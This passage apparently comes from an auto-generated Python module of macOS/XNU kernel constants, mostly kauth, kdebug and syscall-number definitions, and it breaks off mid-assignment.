Constant('KAUTH_ENDIAN_HOST',0x00000001)\nKAUTH_ENDIAN_DISK = Constant('KAUTH_ENDIAN_DISK',0x00000002)\nKAUTH_GENERIC_ISSUSER = Constant('KAUTH_GENERIC_ISSUSER',1)\nKAUTH_PROCESS_CANSIGNAL = Constant('KAUTH_PROCESS_CANSIGNAL',1)\nKAUTH_PROCESS_CANTRACE = Constant('KAUTH_PROCESS_CANTRACE',2)\nKAUTH_FILEOP_OPEN = Constant('KAUTH_FILEOP_OPEN',1)\nKAUTH_FILEOP_CLOSE = Constant('KAUTH_FILEOP_CLOSE',2)\nKAUTH_FILEOP_RENAME = Constant('KAUTH_FILEOP_RENAME',3)\nKAUTH_FILEOP_EXCHANGE = Constant('KAUTH_FILEOP_EXCHANGE',4)\nKAUTH_FILEOP_LINK = Constant('KAUTH_FILEOP_LINK',5)\nKAUTH_FILEOP_EXEC = Constant('KAUTH_FILEOP_EXEC',6)\nKAUTH_FILEOP_DELETE = Constant('KAUTH_FILEOP_DELETE',7)\nKAUTH_FILEOP_WILL_RENAME = Constant('KAUTH_FILEOP_WILL_RENAME',8)\nDBG_PPT = Constant('DBG_PPT',36)\nDBG_PERFCTRL = Constant('DBG_PERFCTRL',39)\nDBG_CLPC = Constant('DBG_CLPC',50)\nDBG_MUSE = Constant('DBG_MUSE',52)\nDBG_ANS = Constant('DBG_ANS',128)\nDBG_SIO = Constant('DBG_SIO',129)\nDBG_SEP = Constant('DBG_SEP',130)\nDBG_ISP = Constant('DBG_ISP',131)\nDBG_OSCAR = Constant('DBG_OSCAR',132)\nDBG_EMBEDDEDGFX = Constant('DBG_EMBEDDEDGFX',133)\nDBG_PMP = Constant('DBG_PMP',134)\nDBG_RTKIT = Constant('DBG_RTKIT',135)\nDBG_DCP = Constant('DBG_DCP',136)\nDBG_KMP = Constant('DBG_KMP',137)\nDBG_SKYWALK_ALWAYSON = Constant('DBG_SKYWALK_ALWAYSON',0x10)\nDBG_SKYWALK_FLOWSWITCH = Constant('DBG_SKYWALK_FLOWSWITCH',0x11)\nDBG_SKYWALK_NETIF = Constant('DBG_SKYWALK_NETIF',0x12)\nDBG_SKYWALK_CHANNEL = Constant('DBG_SKYWALK_CHANNEL',0x13)\nDBG_SKYWALK_PACKET = Constant('DBG_SKYWALK_PACKET',0x14)\nDBG_AQM_ALWAYSON = Constant('DBG_AQM_ALWAYSON',0x30)\nDBG_AQM_STATS = Constant('DBG_AQM_STATS',0x31)\nPPT_TEST = Constant('PPT_TEST',0x01)\nPPT_JETSAM_HIWAT = Constant('PPT_JETSAM_HIWAT',0x02)\nPPT_JETSAM_TOPPROC = Constant('PPT_JETSAM_TOPPROC',0x03)\nDBG_SEC_SSMA = Constant('DBG_SEC_SSMA',0x02)\nKDBG_CPU_SHIFT = Constant('KDBG_CPU_SHIFT',56)\nKDBG_INIT = Constant('KDBG_INIT',0x01)\nKDBG_FREERUN = Constant('KDBG_FREERUN',0x04)\nKDBG_CPUMAP_IS_IOP = Constant('KDBG_CPUMAP_IS_IOP',0x1)\nKDEBUG_COMMPAGE_ENABLE_TRACE = Constant('KDEBUG_COMMPAGE_ENABLE_TRACE',0x1)\nKDEBUG_COMMPAGE_ENABLE_TYPEFILTER = Constant('KDEBUG_COMMPAGE_ENABLE_TYPEFILTER',0x2)\nKDEBUG_COMMPAGE_CONTINUOUS = Constant('KDEBUG_COMMPAGE_CONTINUOUS',0x4)\nKDBG_LOCKINIT = Constant('KDBG_LOCKINIT',0x0080)\nKDBG_CLASSTYPE = Constant('KDBG_CLASSTYPE',0x10000)\nKDBG_SUBCLSTYPE = Constant('KDBG_SUBCLSTYPE',0x20000)\nKDBG_RANGETYPE = Constant('KDBG_RANGETYPE',0x40000)\nKDBG_TYPENONE = Constant('KDBG_TYPENONE',0x80000)\nKDBG_CKTYPES = Constant('KDBG_CKTYPES',0xF0000)\nRAW_VERSION0 = Constant('RAW_VERSION0',0x55aa0000)\nRAW_VERSION1 = Constant('RAW_VERSION1',0x55aa0101)\nRAW_VERSION2 = Constant('RAW_VERSION2',0x55aa0200)\nkEnTrCompKernel = Constant('kEnTrCompKernel',2)\nkEnTrActKernSocket = Constant('kEnTrActKernSocket',1)\nkEnTrActKernSockRead = Constant('kEnTrActKernSockRead',2)\nkEnTrActKernSockWrite = Constant('kEnTrActKernSockWrite',3)\nkEnTrActKernPoll = Constant('kEnTrActKernPoll',10)\nkEnTrActKernSelect = Constant('kEnTrActKernSelect',11)\nkEnTrActKernKQWait = Constant('kEnTrActKernKQWait',12)\nkEnTrEvUnblocked = Constant('kEnTrEvUnblocked',256)\nkEnTrFlagNonBlocking = Constant('kEnTrFlagNonBlocking',0x1)\nkEnTrFlagNoWork = Constant('kEnTrFlagNoWork',0x2)\nENTR_SHOULDTRACE = Constant('ENTR_SHOULDTRACE',0)\nSYS_syscall = Constant('SYS_syscall',0)\nSYS_exit = Constant('SYS_exit',1)\nSYS_fork = Constant('SYS_fork',2)\nSYS_read = Constant('SYS_read',3)\nSYS_write = Constant('SYS_write',4)\nSYS_open = Constant('SYS_open',5)\nSYS_close = Constant('SYS_close',6)\nSYS_wait4 = Constant('SYS_wait4',7)\nSYS_link = Constant('SYS_link',9)\nSYS_unlink = Constant('SYS_unlink',10)\nSYS_chdir = Constant('SYS_chdir',12)\nSYS_fchdir = Constant('SYS_fchdir',13)\nSYS_mknod = Constant('SYS_mknod',14)\nSYS_chmod = Constant('SYS_chmod',15)\nSYS_chown = Constant('SYS_chown',16)\nSYS_getfsstat = Constant('SYS_getfsstat',18)\nSYS_getpid = Constant('SYS_getpid',20)\nSYS_setuid = Constant('SYS_setuid',23)\nSYS_getuid = Constant('SYS_getuid',24)\nSYS_geteuid = Constant('SYS_geteuid',25)\nSYS_ptrace = Constant('SYS_ptrace',26)\nSYS_recvmsg = Constant('SYS_recvmsg',27)\nSYS_sendmsg = Constant('SYS_sendmsg',28)\nSYS_recvfrom = Constant('SYS_recvfrom',29)\nSYS_accept = Constant('SYS_accept',30)\nSYS_getpeername = Constant('SYS_getpeername',31)\nSYS_getsockname = Constant('SYS_getsockname',32)\nSYS_access = Constant('SYS_access',33)\nSYS_chflags = Constant('SYS_chflags',34)\nSYS_fchflags = Constant('SYS_fchflags',35)\nSYS_sync = Constant('SYS_sync',36)\nSYS_kill = Constant('SYS_kill',37)\nSYS_crossarch_trap = Constant('SYS_crossarch_trap',38)\nSYS_getppid = Constant('SYS_getppid',39)\nSYS_dup = Constant('SYS_dup',41)\nSYS_pipe = Constant('SYS_pipe',42)\nSYS_getegid = Constant('SYS_getegid',43)\nSYS_sigaction = Constant('SYS_sigaction',46)\nSYS_getgid = Constant('SYS_getgid',47)\nSYS_sigprocmask = Constant('SYS_sigprocmask',48)\nSYS_getlogin = Constant('SYS_getlogin',49)\nSYS_setlogin = Constant('SYS_setlogin',50)\nSYS_acct = Constant('SYS_acct',51)\nSYS_sigpending = Constant('SYS_sigpending',52)\nSYS_sigaltstack = Constant('SYS_sigaltstack',53)\nSYS_ioctl = Constant('SYS_ioctl',54)\nSYS_reboot = Constant('SYS_reboot',55)\nSYS_revoke = Constant('SYS_revoke',56)\nSYS_symlink = Constant('SYS_symlink',57)\nSYS_readlink = Constant('SYS_readlink',58)\nSYS_execve = Constant('SYS_execve',59)\nSYS_umask = Constant('SYS_umask',60)\nSYS_chroot = Constant('SYS_chroot',61)\nSYS_msync = Constant('SYS_msync',65)\nSYS_vfork = Constant('SYS_vfork',66)\nSYS_munmap = Constant('SYS_munmap',73)\nSYS_mprotect = Constant('SYS_mprotect',74)\nSYS_madvise = Constant('SYS_madvise',75)\nSYS_mincore = Constant('SYS_mincore',78)\nSYS_getgroups = Constant('SYS_getgroups',79)\nSYS_setgroups = Constant('SYS_setgroups',80)\nSYS_getpgrp = Constant('SYS_getpgrp',81)\nSYS_setpgid = Constant('SYS_setpgid',82)\nSYS_setitimer = Constant('SYS_setitimer',83)\nSYS_swapon = Constant('SYS_swapon',85)\nSYS_getitimer = Constant('SYS_getitimer',86)\nSYS_getdtablesize = Constant('SYS_getdtablesize',89)\nSYS_dup2 = Constant('SYS_dup2',90)\nSYS_fcntl = Constant('SYS_fcntl',92)\nSYS_select = Constant('SYS_select',93)\nSYS_fsync = Constant('SYS_fsync',95)\nSYS_setpriority = Constant('SYS_setpriority',96)\nSYS_socket = Constant('SYS_socket',97)\nSYS_connect = Constant('SYS_connect',98)\nSYS_getpriority = Constant('SYS_getpriority',100)\nSYS_bind = Constant('SYS_bind',104)\nSYS_setsockopt = Constant('SYS_setsockopt',105)\nSYS_listen = Constant('SYS_listen',106)\nSYS_sigsuspend = Constant('SYS_sigsuspend',111)\nSYS_gettimeofday = Constant('SYS_gettimeofday',116)\nSYS_getrusage = Constant('SYS_getrusage',117)\nSYS_getsockopt = Constant('SYS_getsockopt',118)\nSYS_readv = Constant('SYS_readv',120)\nSYS_writev = Constant('SYS_writev',121)\nSYS_settimeofday = Constant('SYS_settimeofday',122)\nSYS_fchown = Constant('SYS_fchown',123)\nSYS_fchmod = Constant('SYS_fchmod',124)\nSYS_setreuid = Constant('SYS_setreuid',126)\nSYS_setregid = Constant('SYS_setregid',127)\nSYS_rename = Constant('SYS_rename',128)\nSYS_flock = Constant('SYS_flock',131)\nSYS_mkfifo = Constant('SYS_mkfifo',132)\nSYS_sendto = Constant('SYS_sendto',133)\nSYS_shutdown = Constant('SYS_shutdown',134)\nSYS_socketpair = Constant('SYS_socketpair',135)\nSYS_mkdir = Constant('SYS_mkdir',136)\nSYS_rmdir = Constant('SYS_rmdir',137)\nSYS_utimes = Constant('SYS_utimes',138)\nSYS_futimes = Constant('SYS_futimes',139)\nSYS_adjtime = Constant('SYS_adjtime',140)\nSYS_gethostuuid = Constant('SYS_gethostuuid',142)\nSYS_setsid = Constant('SYS_setsid',147)\nSYS_getpgid = Constant('SYS_getpgid',151)\nSYS_setprivexec = Constant('SYS_setprivexec',152)\nSYS_pread = Constant('SYS_pread',153)\nSYS_pwrite = Constant('SYS_pwrite',154)\nSYS_nfssvc = Constant('SYS_nfssvc',155)\nSYS_statfs = Constant('SYS_statfs',157)\nSYS_fstatfs = Constant('SYS_fstatfs',158)\nSYS_unmount = Constant('SYS_unmount',159)\nSYS_getfh = Constant('SYS_getfh',161)\nSYS_quotactl = Constant('SYS_quotactl',165)\nSYS_mount = Constant('SYS_mount',167)\nSYS_csops = Constant('SYS_csops',169)\nSYS_csops_audittoken = Constant('SYS_csops_audittoken',170)\nSYS_waitid = Constant('SYS_waitid',173)\nSYS_kdebug_typefilter = Constant('SYS_kdebug_typefilter',177)\nSYS_kdebug_trace_string = Constant('SYS_kdebug_trace_string',178)\nSYS_kdebug_trace64 = Constant('SYS_kdebug_trace64',179)\nSYS_kdebug_trace = Constant('SYS_kdebug_trace',180)\nSYS_setgid = Constant('SYS_setgid',181)\nSYS_setegid = Constant('SYS_setegid',182)\nSYS_seteuid = Constant('SYS_seteuid',183)\nSYS_sigreturn = Constant('SYS_sigreturn',184)\nSYS_panic_with_data = Constant('SYS_panic_with_data',185)\nSYS_thread_selfcounts = Constant('SYS_thread_selfcounts',186)\nSYS_fdatasync = Constant('SYS_fdatasync',187)\nSYS_stat = Constant('SYS_stat',188)\nSYS_fstat = Constant('SYS_fstat',189)\nSYS_lstat = Constant('SYS_lstat',190)\nSYS_pathconf = Constant('SYS_pathconf',191)\nSYS_fpathconf = Constant('SYS_fpathconf',192)\nSYS_getrlimit = Constant('SYS_getrlimit',194)\nSYS_setrlimit = Constant('SYS_setrlimit',195)\nSYS_getdirentries = Constant('SYS_getdirentries',196)\nSYS_mmap = Constant('SYS_mmap',197)\nSYS_lseek = Constant('SYS_lseek',199)\nSYS_truncate = Constant('SYS_truncate',200)\nSYS_ftruncate = Constant('SYS_ftruncate',201)\nSYS_sysctl = Constant('SYS_sysctl',202)\nSYS_mlock = Constant('SYS_mlock',203)\nSYS_munlock = Constant('SYS_munlock',204)\nSYS_undelete = Constant('SYS_undelete',205)\nSYS_open_dprotected_np = Constant('SYS_open_dprotected_np',216)\nSYS_fsgetpath_ext = Constant('SYS_fsgetpath_ext',217)\nSYS_openat_dprotected_np = Constant('SYS_openat_dprotected_np',218)\nSYS_getattrlist = Constant('SYS_getattrlist',220)\nSYS_setattrlist = Constant('SYS_setattrlist',221)\nSYS_getdirentriesattr = Constant('SYS_getdirentriesattr',222)\nSYS_exchangedata = Constant('SYS_exchangedata',223)\nSYS_searchfs = Constant('SYS_searchfs',225)\nSYS_delete = Constant('SYS_delete',226)\nSYS_copyfile = Constant('SYS_copyfile',227)\nSYS_fgetattrlist = Constant('SYS_fgetattrlist',228)\nSYS_fsetattrlist = Constant('SYS_fsetattrlist',229)\nSYS_poll = Constant('SYS_poll',230)\nSYS_getxattr = Constant('SYS_getxattr',234)\nSYS_fgetxattr = Constant('SYS_fgetxattr',235)\nSYS_setxattr = Constant('SYS_setxattr',236)\nSYS_fsetxattr = Constant('SYS_fsetxattr',237)\nSYS_removexattr = Constant('SYS_removexattr',238)\nSYS_fremovexattr = Constant('SYS_fremovexattr',239)\nSYS_listxattr = Constant('SYS_listxattr',240)\nSYS_flistxattr = Constant('SYS_flistxattr',241)\nSYS_fsctl = Constant('SYS_fsctl',242)\nSYS_initgroups = Constant('SYS_initgroups',243)\nSYS_posix_spawn = Constant('SYS_posix_spawn',244)\nSYS_ffsctl = Constant('SYS_ffsctl',245)\nSYS_fhopen = Constant('SYS_fhopen',248)\nSYS_minherit = Constant('SYS_minherit',250)\nSYS_semsys = Constant('SYS_semsys',251)\nSYS_msgsys = Constant('SYS_msgsys',252)\nSYS_shmsys = Constant('SYS_shmsys',253)\nSYS_semctl = Constant('SYS_semctl',254)\nSYS_semget = Constant('SYS_semget',255)\nSYS_semop = Constant('SYS_semop',256)\nSYS_msgctl = Constant('SYS_msgctl',258)\nSYS_msgget = Constant('SYS_msgget',259)\nSYS_msgsnd = Constant('SYS_msgsnd',260)\nSYS_msgrcv = Constant('SYS_msgrcv',261)\nSYS_shmat = Constant('SYS_shmat',262)\nSYS_shmctl = Constant('SYS_shmctl',263)\nSYS_shmdt = Constant('SYS_shmdt',264)\nSYS_shmget = Constant('SYS_shmget',265)\nSYS_shm_open = Constant('SYS_shm_open',266)\nSYS_shm_unlink = Constant('SYS_shm_unlink',267)\nSYS_sem_open = Constant('SYS_sem_open',268)\nSYS_sem_close = Constant('SYS_sem_close',269)\nSYS_sem_unlink = Constant('SYS_sem_unlink',270)\nSYS_sem_wait = Constant('SYS_sem_wait',271)\nSYS_sem_trywait = Constant('SYS_sem_trywait',272)\nSYS_sem_post = Constant('SYS_sem_post',273)\nSYS_sysctlbyname = Constant('SYS_sysctlbyname',274)\nSYS_open_extended = Constant('SYS_open_extended',277)\nSYS_umask_extended = Constant('SYS_umask_extended',278)\nSYS_stat_extended = Constant('SYS_stat_extended',279)\nSYS_lstat_extended = Constant('SYS_lstat_extended',280)\nSYS_fstat_extended = Constant('SYS_fstat_extended',281)\nSYS_chmod_extended = Constant('SYS_chmod_extended',282)\nSYS_fchmod_extended = Constant('SYS_fchmod_extended',283)\nSYS_access_extended = Constant('SYS_access_extended',284)\nSYS_settid = Constant('SYS_settid',285)\nSYS_gettid = Constant('SYS_gettid',286)\nSYS_setsgroups = Constant('SYS_setsgroups',287)\nSYS_getsgroups = Constant('SYS_getsgroups',288)\nSYS_setwgroups = Constant('SYS_setwgroups',289)\nSYS_getwgroups = Constant('SYS_getwgroups',290)\nSYS_mkfifo_extended = Constant('SYS_mkfifo_extended',291)\nSYS_mkdir_extended = Constant('SYS_mkdir_extended',292)\nSYS_identitysvc = Constant('SYS_identitysvc',293)\nSYS_shared_region_check_np = Constant('SYS_shared_region_check_np',294)\nSYS_vm_pressure_monitor = Constant('SYS_vm_pressure_monitor',296)\nSYS_psynch_rw_longrdlock = Constant('SYS_psynch_rw_longrdlock',297)\nSYS_psynch_rw_yieldwrlock = Constant('SYS_psynch_rw_yieldwrlock',298)\nSYS_psynch_rw_downgrade = Constant('SYS_psynch_rw_downgrade',299)\nSYS_psynch_rw_upgrade = Constant('SYS_psynch_rw_upgrade',300)\nSYS_psynch_mutexwait = Constant('SYS_psynch_mutexwait',301)\nSYS_psynch_mutexdrop = Constant('SYS_psynch_mutexdrop',302)\nSYS_psynch_cvbroad = Constant('SYS_psynch_cvbroad',303)\nSYS_psynch_cvsignal = Constant('SYS_psynch_cvsignal',304)\nSYS_psynch_cvwait = Constant('SYS_psynch_cvwait',305)\nSYS_psynch_rw_rdlock = Constant('SYS_psynch_rw_rdlock',306)\nSYS_psynch_rw_wrlock = Constant('SYS_psynch_rw_wrlock',307)\nSYS_psynch_rw_unlock = Constant('SYS_psynch_rw_unlock',308)\nSYS_psynch_rw_unlock2 = Constant('SYS_psynch_rw_unlock2',309)\nSYS_getsid = Constant('SYS_getsid',310)\nSYS_settid_with_pid = Constant('SYS_settid_with_pid',311)\nSYS_psynch_cvclrprepost = Constant('SYS_psynch_cvclrprepost',312)\nSYS_aio_fsync = Constant('SYS_aio_fsync',313)\nSYS_aio_return = Constant('SYS_aio_return',314)\nSYS_aio_suspend = Constant('SYS_aio_suspend',315)\nSYS_aio_cancel = Constant('SYS_aio_cancel',316)\nSYS_aio_error = Constant('SYS_aio_error',317)\nSYS_aio_read = Constant('SYS_aio_read',318)\nSYS_aio_write = Constant('SYS_aio_write',319)\nSYS_lio_listio = Constant('SYS_lio_listio',320)\nSYS_iopolicysys = Constant('SYS_iopolicysys',322)\nSYS_process_policy = Constant('SYS_process_policy',323)\nSYS_mlockall = Constant('SYS_mlockall',324)\nSYS_munlockall = Constant('SYS_munlockall',325)\nSYS_issetugid = Constant('SYS_issetugid',327)\nSYS___pthread_kill = Constant('SYS___pthread_kill',328)\nSYS___pthread_sigmask = Constant('SYS___pthread_sigmask',329)\nSYS___sigwait = Constant('SYS___sigwait',330)\nSYS___disable_threadsignal = Constant('SYS___disable_threadsignal',331)\nSYS___pthread_markcancel = Constant('SYS___pthread_markcancel',332)\nSYS___pthread_canceled = Constant('SYS___pthread_canceled',333)\nSYS___semwait_signal = Constant('SYS___semwait_signal',334)\nSYS_proc_info = Constant('SYS_proc_info',336)\nSYS_sendfile = Constant('SYS_sendfile',337)\nSYS_stat64 = Constant('SYS_stat64',338)\nSYS_fstat64 = Constant('SYS_fstat64',339)\nSYS_lstat64 = Constant('SYS_lstat64',340)\nSYS_stat64_extended = Constant('SYS_stat64_extended',341)\nSYS_lstat64_extended = Constant('SYS_lstat64_extended',342)\nSYS_fstat64_extended = Constant('SYS_fstat64_extended',343)\nSYS_getdirentries64 = Constant('SYS_getdirentries64',344)\nSYS_statfs64 = Constant('SYS_statfs64',345)\nSYS_fstatfs64 = Constant('SYS_fstatfs64',346)\nSYS_getfsstat64 = Constant('SYS_getfsstat64',347)\nSYS___pthread_chdir = Constant('SYS___pthread_chdir',348)\nSYS___pthread_fchdir = Constant('SYS___pthread_fchdir',349)\nSYS_audit = Constant('SYS_audit',350)\nSYS_auditon = Constant('SYS_auditon',351)\nSYS_getauid = Constant('SYS_getauid',353)\nSYS_setauid = Constant('SYS_setauid',354)\nSYS_getaudit_addr = Constant('SYS_getaudit_addr',357)\nSYS_setaudit_addr = Constant('SYS_setaudit_addr',358)\nSYS_auditctl = Constant('SYS_auditctl',359)\nSYS_bsdthread_create = Constant('SYS_bsdthread_create',360)\nSYS_bsdthread_terminate = Constant('SYS_bsdthread_terminate',361)\nSYS_kqueue = Constant('SYS_kqueue',362)\nSYS_kevent = Constant('SYS_kevent',363)\nSYS_lchown = Constant('SYS_lchown',364)\nSYS_bsdthread_register = Constant('SYS_bsdthread_register',366)\nSYS_workq_open = Constant('SYS_workq_open',367)\nSYS_workq_kernreturn = Constant('SYS_workq_kernreturn',368)\nSYS_kevent64 = Constant('SYS_kevent64',369)\nSYS_thread_selfid = Constant('SYS_thread_selfid',372)\nSYS_ledger = Constant('SYS_ledger',373)\nSYS_kevent_qos = Constant('SYS_kevent_qos',374)\nSYS_kevent_id = Constant('SYS_kevent_id',375)\nSYS___mac_execve = Constant('SYS___mac_execve',380)\nSYS___mac_syscall = Constant('SYS___mac_syscall',381)\nSYS___mac_get_file = Constant('SYS___mac_get_file',382)\nSYS___mac_set_file = Constant('SYS___mac_set_file',383)\nSYS___mac_get_link = Constant('SYS___mac_get_link',384)\nSYS___mac_set_link = Constant('SYS___mac_set_link',385)\nSYS___mac_get_proc = Constant('SYS___mac_get_proc',386)\nSYS___mac_set_proc = Constant('SYS___mac_set_proc',387)\nSYS___mac_get_fd = Constant('SYS___mac_get_fd',388)\nSYS___mac_set_fd = Constant('SYS___mac_set_fd',389)\nSYS___mac_get_pid = Constant('SYS___mac_get_pid',390)\nSYS_pselect = Constant('SYS_pselect',394)\nSYS_pselect_nocancel = Constant('SYS_pselect_nocancel',395)\nSYS_read_nocancel = Constant('SYS_read_nocancel',396)\nSYS_write_nocancel = Constant('SYS_write_nocancel',397)\nSYS_open_nocancel = Constant('SYS_open_nocancel',398)\nSYS_close_nocancel = Constant('SYS_close_nocancel',399)\nSYS_wait4_nocancel = Constant('SYS_wait4_nocancel',400)\nSYS_recvmsg_nocancel = Constant('SYS_recvmsg_nocancel',401)\nSYS_sendmsg_nocancel = Constant('SYS_sendmsg_nocancel',402)\nSYS_recvfrom_nocancel = Constant('SYS_recvfrom_nocancel',403)\nSYS_accept_nocancel = Constant('SYS_accept_nocancel',404)\nSYS_msync_nocancel = Constant('SYS_msync_nocancel',405)\nSYS_fcntl_nocancel = Constant('SYS_fcntl_nocancel',406)\nSYS_select_nocancel = Constant('SYS_select_nocancel',407)\nSYS_fsync_nocancel = Constant('SYS_fsync_nocancel',408)\nSYS_connect_nocancel = Constant('SYS_connect_nocancel',409)\nSYS_sigsuspend_nocancel = Constant('SYS_sigsuspend_nocancel',410)\nSYS_readv_nocancel = Constant('SYS_readv_nocancel',411)\nSYS_writev_nocancel = Constant('SYS_writev_nocancel',412)\nSYS_sendto_nocancel = Constant('SYS_sendto_nocancel',413)\nSYS_pread_nocancel = Constant('SYS_pread_nocancel',414)\nSYS_pwrite_nocancel = Constant('SYS_pwrite_nocancel',415)\nSYS_waitid_nocancel = Constant('SYS_waitid_nocancel',416)\nSYS_poll_nocancel = Constant('SYS_poll_nocancel',417)\nSYS_msgsnd_nocancel = Constant('SYS_msgsnd_nocancel',418)\nSYS_msgrcv_nocancel = Constant('SYS_msgrcv_nocancel',419)\nSYS_sem_wait_nocancel = Constant('SYS_sem_wait_nocancel',420)\nSYS_aio_suspend_nocancel = Constant('SYS_aio_suspend_nocancel',421)\nSYS___sigwait_nocancel = Constant('SYS___sigwait_nocancel',422)\nSYS___semwait_signal_nocancel = Constant('SYS___semwait_signal_nocancel',423)\nSYS___mac_mount = Constant('SYS___mac_mount',424)\nSYS___mac_get_mount = Constant('SYS___mac_get_mount',425)\nSYS___mac_getfsstat = Constant('SYS___mac_getfsstat',426)\nSYS_fsgetpath = Constant('SYS_fsgetpath',427)\nSYS_audit_session_self = Constant('SYS_audit_session_self',428)\nSYS_audit_session_join = Constant('SYS_audit_session_join',429)\nSYS_fileport_makeport = Constant('SYS_fileport_makeport',430)\nSYS_fileport_makefd = Constant('SYS_fileport_makefd',431)\nSYS_audit_session_port = Constant('SYS_audit_session_port',432)\nSYS_pid_suspend = Constant('SYS_pid_suspend',433)\nSYS_pid_resume = Constant('SYS_pid_resume',434)\nSYS_pid_hibernate = Constant('SYS_pid_hibernate',435)\nSYS_pid_shutdown_sockets = Constant('SYS_pid_shutdown_sockets',436)\nSYS_kas_info = Constant('SYS_kas_info',439)\nSYS_memorystatus_control = Constant('SYS_memorystatus_control',440)\nSYS_guarded_open_np = Constant('SYS_guarded_open_np',441)\nSYS_guarded_close_np = Constant('SYS_guarded_close_np',442)\nSYS_guarded_kqueue_np = Constant('SYS_guarded_kqueue_np',443)\nSYS_change_fdguard_np = Constant('SYS_change_fdguard_np',444)\nSYS_usrctl = Constant('SYS_usrctl',445)\nSYS_proc_rlimit_control = Constant('SYS_proc_rlimit_control',446)\nSYS_connectx = Constant('SYS_connectx',447)\nSYS_disconnectx = Constant('SYS_disconnectx',448)\nSYS_peeloff = Constant('SYS_peeloff',449)\nSYS_socket_delegate = Constant('SYS_socket_delegate',450)\nSYS_telemetry = Constant('SYS_telemetry',451)\nSYS_proc_uuid_policy = Constant('SYS_proc_uuid_policy',452)\nSYS_memorystatus_get_level = Constant('SYS_memorystatus_get_level',453)\nSYS_system_override = Constant('SYS_system_override',454)\nSYS_vfs_purge = Constant('SYS_vfs_purge',455)\nSYS_sfi_ctl = Constant('SYS_sfi_ctl',456)\nSYS_sfi_pidctl = Constant('SYS_sfi_pidctl',457)\nSYS_coalition = Constant('SYS_coalition',458)\nSYS_coalition_info = Constant('SYS_coalition_info',459)\nSYS_necp_match_policy = Constant('SYS_necp_match_policy',460)\nSYS_getattrlistbulk = Constant('SYS_getattrlistbulk',461)\nSYS_clonefileat = Constant('SYS_clonefileat',462)\nSYS_openat = Constant('SYS_openat',463)\nSYS_openat_nocancel = Constant('SYS_openat_nocancel',464)\nSYS_renameat = Constant('SYS_renameat',465)\nSYS_faccessat = Constant('SYS_faccessat',466)\nSYS_fchmodat = Constant('SYS_fchmodat',467)\nSYS_fchownat = Constant('SYS_fchownat',468)\nSYS_fstatat = Constant('SYS_fstatat',469)\nSYS_fstatat64 = Constant('SYS_fstatat64',470)\nSYS_linkat = Constant('SYS_linkat',471)\nSYS_unlinkat = Constant('SYS_unlinkat',472)\nSYS_readlinkat = Constant('SYS_readlinkat',473)\nSYS_symlinkat = Constant('SYS_symlinkat',474)\nSYS_mkdirat = Constant('SYS_mkdirat',475)\nSYS_getattrlistat = Constant('SYS_getattrlistat',476)\nSYS_proc_trace_log = Constant('SYS_proc_trace_log',477)\nSYS_bsdthread_ctl = Constant('SYS_bsdthread_ctl',478)\nSYS_openbyid_np = Constant('SYS_openbyid_np',479)\nSYS_recvmsg_x = Constant('SYS_recvmsg_x',480)\nSYS_sendmsg_x = Constant('SYS_sendmsg_x',481)\nSYS_thread_selfusage = Constant('SYS_thread_selfusage',482)\nSYS_csrctl = Constant('SYS_csrctl',483)\nSYS_guarded_open_dprotected_np = Constant('SYS_guarded_open_dprotected_np',484)\nSYS_guarded_write_np = Constant('SYS_guarded_write_np',485)\nSYS_guarded_pwrite_np = Constant('SYS_guarded_pwrite_np',486)\nSYS_guarded_writev_np = Constant('SYS_guarded_writev_np',487)\nSYS_renameatx_np = Constant('SYS_renameatx_np',488)\nSYS_mremap_encrypted = Constant('SYS_mremap_encrypted',489)\nSYS_netagent_trigger = Constant('SYS_netagent_trigger',490)\nSYS_stack_snapshot_with_config = Constant('SYS_stack_snapshot_with_config',491)\nSYS_microstackshot = Constant('SYS_microstackshot',492)\nSYS_grab_pgo_data = Constant('SYS_grab_pgo_data',493)\nSYS_persona = Constant('SYS_persona',494)\nSYS_mach_eventlink_signal = Constant('SYS_mach_eventlink_signal',496)\nSYS_mach_eventlink_wait_until = Constant('SYS_mach_eventlink_wait_until',497)\nSYS_mach_eventlink_signal_wait_until = Constant('SYS_mach_eventlink_signal_wait_until',498)\nSYS_work_interval_ctl = Constant('SYS_work_interval_ctl',499)\nSYS_getentropy = Constant('SYS_getentropy',500)\nSYS_necp_open = Constant('SYS_necp_open',501)\nSYS_necp_client_action = Constant('SYS_necp_client_action',502)\nSYS___nexus_open = Constant('SYS___nexus_open',503)\nSYS___nexus_register = Constant('SYS___nexus_register',504)\nSYS___nexus_deregister = Constant('SYS___nexus_deregister',505)\nSYS___nexus_create = Constant('SYS___nexus_create',506)\nSYS___nexus_destroy = Constant('SYS___nexus_destroy',507)\nSYS___nexus_get_opt = Constant('SYS___nexus_get_opt',508)\nSYS___nexus_set_opt = Constant('SYS___nexus_set_opt',509)\nSYS___channel_open = Constant('SYS___channel_open',510)\nSYS___channel_get_info = Constant('SYS___channel_get_info',511)\nSYS___channel_sync = Constant('SYS___channel_sync',512)\nSYS___channel_get_opt = Constant('SYS___channel_get_opt',513)\nSYS___channel_set_opt = Constant('SYS___channel_set_opt',514)\nSYS_ulock_wait = Constant('SYS_ulock_wait',515)\nSYS_ulock_wake = Constant('SYS_ulock_wake',516)\nSYS_fclonefileat = Constant('SYS_fclonefileat',517)\nSYS_fs_snapshot = Constant('SYS_fs_snapshot',518)\nSYS_register_uexc_handler = Constant('SYS_register_uexc_handler',519)\nSYS_terminate_with_payload = Constant('SYS_terminate_with_payload',520)\nSYS_abort_with_payload = Constant('SYS_abort_with_payload',521)\nSYS_necp_session_open = Constant('SYS_necp_session_open',522)\nSYS_necp_session_action = Constant('SYS_necp_session_action',523)\nSYS_setattrlistat = Constant('SYS_setattrlistat',524)\nSYS_net_qos_guideline = Constant('SYS_net_qos_guideline',525)\nSYS_fmount = Constant('SYS_fmount',526)\nSYS_ntp_adjtime = Constant('SYS_ntp_adjtime',527)\nSYS_ntp_gettime = Constant('SYS_ntp_gettime',528)\nSYS_os_fault_with_payload = Constant('SYS_os_fault_with_payload',529)\nSYS_kqueue_workloop_ctl = Constant('SYS_kqueue_workloop_ctl',530)\nSYS___mach_bridge_remote_time = Constant('SYS___mach_bridge_remote_time',531)\nSYS_coalition_ledger = Constant('SYS_coalition_ledger',532)\nSYS_log_data = Constant('SYS_log_data',533)\nSYS_memorystatus_available_memory = Constant('SYS_memorystatus_available_memory',534)\nSYS_objc_bp_assist_cfg_np = Constant('SYS_objc_bp_assist_cfg_np',535)\nSYS_shared_region_map_and_slide_2_np = Constant('SYS_shared_region_map_and_slide_2_np',536)\nSYS_pivot_root = Constant('SYS_pivot_root',537)\nSYS_task_inspect_for_pid = 